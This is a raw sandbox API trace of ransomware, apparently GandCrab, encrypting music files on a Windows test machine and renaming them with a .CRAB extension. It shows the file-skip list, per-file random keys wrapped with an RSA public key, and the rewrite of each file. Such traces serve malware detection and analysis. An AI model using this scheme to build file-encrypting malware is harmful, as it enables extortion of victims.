	[0130.580] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB.CRAB"
	[0130.580] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e738) returned 1
	[0130.583] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.583] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.584] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0130.584] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0130.584] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.584] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0130.586] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.587] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.587] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.587] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0130.587] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.587] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.588] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.588] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.589] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6ed98) returned 1
	[0130.591] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320f590) returned 1
	[0130.591] CryptGetKeyParam (in: hKey=0x320f590, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0130.591] CryptEncrypt (in: hKey=0x320f590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0130.592] GetLastError () returned 0x0
	[0130.592] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.592] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0130.595] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320f850) returned 1
	[0130.595] CryptGetKeyParam (in: hKey=0x320f850, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0130.595] CryptEncrypt (in: hKey=0x320f850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0130.595] GetLastError () returned 0x0
	[0130.595] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0130.595] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\hj7rmokgbbchmiadb7.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0130.596] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.596] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.596] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x8a72, lpOverlapped=0x0) returned 1
	[0130.609] VirtualAlloc (lpAddress=0x0, dwSize=0x8a80, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.610] VirtualAlloc (lpAddress=0x0, dwSize=0x8a80, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.611] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.612] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff758e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.612] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x8a80, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0x8a80, lpOverlapped=0x0) returned 1
	[0130.612] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.613] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.616] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0130.617] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0130.617] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0130.617] CloseHandle (hObject=0x3f0) returned 1
	[0130.617] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.617] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.617] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.618] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.618] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.618] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.618] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0130.618] FindClose (in: hFindFile=0x320fa10 | out: hFindFile=0x320fa10) returned 1
	[0130.619] FindNextFileW (in: hFindFile=0x320f650, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.619] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.619] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CRAB-DECRYPT.txt"
	[0130.626] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.627] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CRAB-DECRYPT.txt") returned 54
	[0130.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CRAB-DECRYPT.txt") returned 54
	[0130.627] lstrlenW (lpString=".txt") returned 4
	[0130.627] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.627] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.627] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.628] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CRAB-DECRYPT.txt") returned 54
	[0130.628] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CRAB-DECRYPT.txt") returned 54
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.628] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.628] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.628] FindNextFileW (in: hFindFile=0x320f650, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.628] lstrcmpW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2=".") returned 1
	[0130.644] lstrcmpW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="..") returned 1
	[0130.644] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="UU4hc2R9w-z_RZY4vy.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3"
	[0130.644] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.644] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3") returned 60
	[0130.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3") returned 60
	[0130.644] lstrlenW (lpString=".mp3") returned 4
	[0130.644] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.645] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0130.646] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3") returned 60
	[0130.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3") returned 60
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="desktop.ini") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="autorun.inf") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="ntuser.dat") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="iconcache.db") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="bootsect.bak") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="boot.ini") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="ntuser.dat.log") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="thumbs.db") returned 1
	[0130.647] lstrcmpiW (lpString1="UU4hc2R9w-z_RZY4vy.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.647] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.648] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB") returned 65
	[0130.648] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\uu4hc2r9w-z_rzy4vy.mp3")) returned 0x20
	[0130.648] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3", dwFileAttributes=0x20) returned 1
	[0130.648] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\uu4hc2r9w-z_rzy4vy.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\uu4hc2r9w-z_rzy4vy.mp3.crab")) returned 1
	[0130.649] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.650] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB"
	[0130.650] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB.CRAB"
	[0130.650] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0130.653] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.653] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.653] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0130.653] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.653] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.654] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0130.656] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.657] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.657] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0130.657] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.657] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.657] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.658] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.658] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0130.661] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f5d0) returned 1
	[0130.661] CryptGetKeyParam (in: hKey=0x320f5d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.661] CryptEncrypt (in: hKey=0x320f5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0130.661] GetLastError () returned 0x0
	[0130.661] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.661] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0130.664] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320fc90) returned 1
	[0130.664] CryptGetKeyParam (in: hKey=0x320fc90, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.664] CryptEncrypt (in: hKey=0x320fc90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0130.665] GetLastError () returned 0x0
	[0130.665] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.665] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\UU4hc2R9w-z_RZY4vy.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\uu4hc2r9w-z_rzy4vy.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.665] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.667] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x14c70, lpOverlapped=0x0) returned 1
	[0130.681] VirtualAlloc (lpAddress=0x0, dwSize=0x14c70, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.683] VirtualAlloc (lpAddress=0x0, dwSize=0x14c70, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0130.685] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.685] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeb390, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.686] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x14c70, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x14c70, lpOverlapped=0x0) returned 1
	[0130.686] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.686] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.690] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.690] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.690] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0130.690] CloseHandle (hObject=0x3ec) returned 1
	[0130.691] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.691] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.691] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.691] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.692] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.692] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.692] FindNextFileW (in: hFindFile=0x320f650, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.692] lstrcmpW (lpString1="vq5UwIj.wav", lpString2=".") returned 1
	[0130.692] lstrcmpW (lpString1="vq5UwIj.wav", lpString2="..") returned 1
	[0130.692] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="vq5UwIj.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav"
	[0130.692] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.692] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav") returned 49
	[0130.692] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav") returned 49
	[0130.693] lstrlenW (lpString=".wav") returned 4
	[0130.693] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.693] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.693] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav") returned 49
	[0130.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav") returned 49
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="desktop.ini") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="autorun.inf") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="ntuser.dat") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="iconcache.db") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="bootsect.bak") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="boot.ini") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="ntuser.dat.log") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="thumbs.db") returned 1
	[0130.693] lstrcmpiW (lpString1="vq5UwIj.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.694] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.694] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB") returned 54
	[0130.694] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\vq5uwij.wav")) returned 0x20
	[0130.694] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav", dwFileAttributes=0x20) returned 1
	[0130.695] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\vq5uwij.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\vq5uwij.wav.crab")) returned 1
	[0130.695] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.696] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB"
